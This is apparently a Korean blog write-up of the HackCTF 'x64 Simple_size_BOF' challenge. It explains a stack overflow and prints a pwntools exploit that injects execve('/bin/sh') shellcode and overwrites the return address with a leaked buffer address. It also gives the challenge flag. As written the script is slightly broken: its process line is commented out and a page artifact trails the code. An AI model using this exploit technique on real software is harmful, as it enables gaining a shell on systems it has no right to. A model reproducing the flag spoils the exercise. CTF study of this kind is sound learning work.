WARGAME/hack ctf
x64 Simple_size_BOF
raar
2020. 3. 9. 01:12
이번 문제도 왠지 지난번 문제랑 비슷한 거 같다. 다운로드하고 실행시켜 보면,
"삐빅 - 자살방지 문제입니다."와 버퍼 주소를 출력하고 입력을 한 줄 받은 다음 그냥 종료되는 거 같다. ida로 까 보면,
그냥 간단하당 puts로 "삐빅 - 자살방지 문제입니다." 출력해주고 buf 주소 출력해준다. 그리고 입력을 한 줄 받는 구조이다.
해당 바이너리에서 main 함수 이외에 따른 함수는 없으므로 저 버퍼 주소에 대가 쉘 코드 넣어주고 ret 주소를 쉘 코드를 넣은
버퍼 주소로 변조해 주면 될 거 같다.
아 참고로,
NX 기법 안 걸려 있어서 쉘 코드 넣어도 되고, 64bit 바이너리 이므로 RET, SFP 8 bit로 해 주어야 한다.
익스 코드는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from pwn import*
#p = process("./Simple_size_bof")
p.recvuntil("buf: ")
buf_addr = int(p.recv(14),16)
payload = ''
payload += '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
payload += 'A'*(0x6D30-23)
payload += 'B'*8
payload += p64(buf_addr)
p.sendline(payload)
p.interactive()y Color Scripter
|
쉘 코드는 64bit 전용 32bit짜리를 사용했당
FLAG : HackCTF{s000000_5m4ll_4nd_5m4ll_51z3_b0f}